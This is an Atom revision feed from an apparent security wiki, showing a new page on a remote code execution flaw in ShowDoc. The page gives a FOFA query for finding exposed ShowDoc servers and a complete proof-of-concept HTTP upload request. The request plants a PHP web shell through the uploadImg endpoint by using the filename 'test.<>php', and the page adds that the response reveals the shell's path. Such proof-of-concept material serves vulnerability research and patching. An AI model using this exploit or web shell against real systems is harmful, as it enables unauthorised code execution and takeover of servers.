https://pwnwiki.com/index.php?action=history&feed=atom&title=ShowDoc_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
ShowDoc 遠程代碼執行漏洞 - Revision history
2026-04-10T00:25:54Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=ShowDoc_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=1890&oldid=prev
Pwnwiki: 建立內容為「==FOFA== <pre> app="ShowDoc" </pre> ==POC== <pre> POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0;…」的新頁面
2021-04-24T11:12:42Z
<p>建立內容為「==FOFA== <pre> app="ShowDoc" </pre> ==POC== <pre> POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0;…」的新頁面</p>
<p><b>New page</b></p><div>==FOFA==<br />
<pre><br />
app="ShowDoc"<br />
</pre><br />
<br />
==POC==<br />
<pre><br />
POST /index.php?s=/home/page/uploadImg HTTP/1.1<br />
Host: xxx.xxx.xxx.xxx<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)<br />
Accept-Encoding: gzip, deflate<br />
Accept: */*<br />
Connection: close<br />
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617<br />
Content-Length: 259<br />
<br />
----------------------------921378126371623762173617<br />
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"<br />
Content-Type: text/plain<br />
<br />
<?php echo '123_test';@eval($_GET[cmd])?><br />
----------------------------921378126371623762173617--<br />
</pre><br />
<br />
response包裡有路徑，直接訪問即可。<br />
<br />
<br />
==參考==<br />
https://mp.weixin.qq.com/s/oPhV-EmKZEDAxyZm4HuzUA</div>
Pwnwiki